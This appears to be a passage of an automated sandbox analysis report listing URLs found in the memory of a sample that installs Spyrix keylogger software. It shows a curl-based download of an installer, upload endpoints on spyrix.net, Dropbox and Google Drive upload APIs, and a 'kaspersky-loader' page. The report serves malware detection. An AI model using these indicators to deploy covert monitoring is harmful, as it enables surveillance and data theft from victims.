Source: spkl.exe, 0000002E.00000002.3336166601.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.0000000001834000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3338648825.0000000007610000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3331600025.00000000065BD000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3336166601.000000000745B000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3336166601.0000000007443000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3328914499.0000000004F96000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.0000000001864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://Spyrix.net/dashboard/prg-list
Source: spkl.exe, 0000002E.00000002.3336166601.0000000007443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://Spyrix.net/dashboard/prg-listgramData=C:
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/token
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/commit_chunked_upload
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/dropbox
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/sandbox
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/dropbox
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/sandbox
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token
Source: spkl.exe	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?SV
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token?
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/dropbox
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/sandbox
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cdndownload.net/proxy/list.json
Source: curl.exe, 00000008.00000002.2105163912.0000000002D68000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.2104847902.0000000002D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: curl.exe, 00000008.00000002.2105035071.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000002.2105193869.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkWinsta0
Source: curl.exe, 00000008.00000002.2105035071.0000000002D20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000002.2105193869.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkcurl.exe
Source: curl.exe, 00000008.00000002.2105035071.0000000002D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkk
Source: spkl.exe, 0000002E.00000002.3336166601.0000000007493000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3338648825.0000000007610000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3157631800.00000000074A1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3158078496.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.0000000001855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: spkl.exe, 0000002E.00000002.3336166601.0000000007493000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3158078496.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3236653211.0000000007481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.haxx.se/P
Source: spkl.exe, 0000002E.00000002.3336166601.0000000007493000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3158078496.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3236653211.0000000007481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.htmlcurl
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com
Source: spkl.exe	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-program
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-programspsMapspsJSON
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.clevercontrol.com/account/user-hash-gen
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com
Source: spkl.exe, 0000002E.00000002.3336166601.000000000745B000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3158078496.0000000007481000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.00000000044E6000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3336166601.00000000074D1000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.0000000001855000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3336166601.000000000747A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/
Source: spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/.com/
Source: spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/.spyrix.com/
Source: spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/6s
Source: spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/;
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program?email=
Source: spkl.exe, 0000002E.00000002.3325762768.00000000044E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/ix.com/
Source: spkl.exe, 0000002E.00000002.3336166601.000000000745B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/ngSLMEM
Source: spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/qqS
Source: spkl.exe, 0000002E.00000002.3328914499.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/x.com/
Source: 404.exe, 00000000.00000002.2292769546.0000000002762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com
Source: 404.exe, 00000000.00000002.2292769546.000000000273E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/
Source: 404.exe, 00000000.00000002.2292769546.000000000273E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s150
Source: 404.exe, 0000000B.00000003.2970008225.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2354454420.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2959223820.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.00000000032C7000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.0000000003240000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step1
Source: 404.exe, 0000000B.00000003.2970008225.00000000021E6000.00000004.00001000.00020000.00000000.sdmp, 404.exe, 0000000B.00000003.2354454420.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2959223820.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.00000000032C7000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2954858078.0000000003240000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step18
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step2
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3328914499.0000000004FE8000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/Uwas771wvshs7916gjqg62417/core.php
Source: spkl.exe, 0000002E.00000003.3121046946.00000000001C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/das
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/av
Source: spkl.exe, 0000002E.00000002.3338648825.0000000007610000.00000004.00001000.00020000.00000000.sdmp, qrl.exe	String found in binary or memory: https://spyrix.net/dashboard/prg-actions
Source: spkl.exe, 0000002E.00000003.3158542246.0000000007427000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3236653211.0000000007432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actions1CV
Source: spkl.exe, 0000002E.00000003.3236653211.0000000007401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsSName
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/proxy/upload
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/rand.zip
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/access.txt
Source: 404.tmp, 0000000C.00000003.2357697455.00000000031C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iorder.php?comp_id=
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/usr/monitor/iupload.php
Source: cmd.exe, 00000003.00000002.2747206179.00000000034B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.s
Source: cmd.exe, 00000003.00000002.2747206179.00000000034B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.
Source: 404.tmp, 0000000C.00000003.2954407338.0000000006775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/do
Source: regedit.exe, 0000002B.00000002.2905149135.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, regedit.exe, 0000002B.00000002.2905301474.0000000003130000.00000004.00000020.00020000.00000000.sdmp, reg.exe, 0000002C.00000002.2907314610.0000000002FC0000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3315468023.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.000000000178E000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3316675303.0000000003540000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.00000000017E2000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3311541761.0000000001834000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, tasklist.exe, 0000004E.00000002.3153160257.00000000030C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: WMIC.exe, 00000010.00000002.2405290484.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe5
Source: tasklist.exe, 00000052.00000002.3168409081.0000000002D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:
Source: curl.exe, 00000009.00000002.2351939674.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeR
Source: curl.exe, 00000009.00000002.2351939674.00000000009D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeS
Source: curl.exe, 00000009.00000002.2351939674.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2351901344.0000000000990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeWinsta0
Source: WMIC.exe, 00000014.00000002.2416853178.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeZ
Source: WMIC.exe, 00000010.00000002.2405290484.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe_
Source: spkl.exe, 0000002E.00000002.3311541761.00000000017E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe_F
Source: curl.exe, 00000009.00000002.2351939674.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000002.2351901344.0000000000990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/CPS0
Source: 404.tmp, 0000000C.00000003.2357697455.00000000032E1000.00000004.00001000.00020000.00000000.sdmp, 404.tmp, 0000000C.00000003.2956829170.00000000033C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.certum.pl/repository.0
Source: spkl.exe	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/1/oauth/authorize?oauth_token=open
Source: curl.exe, 00000009.00000003.2351680397.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/drive
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/auth/userinfo.prof
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.profile
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/about
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/drive/v2/files
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files/U
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/files?maxResults=1000&q=
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/drive/v2/filesU
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: spkl.exe, spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files/
Source: spkl.exe	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumable
Source: spkl.exe, 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 0000002E.00000003.2914260101.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/upload/drive/v2/files?uploadType=resumableSV
Source: spkl.exe, 0000002E.00000003.2923571082.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.spyrix.com
Source: spkl.exe, 0000002E.00000003.2923571082.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://www.spyrix.com/purchase.php?prg=sfk
Source: spkl.exe, 0000002E.00000002.3328914499.0000000004FE8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spyrix.come

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
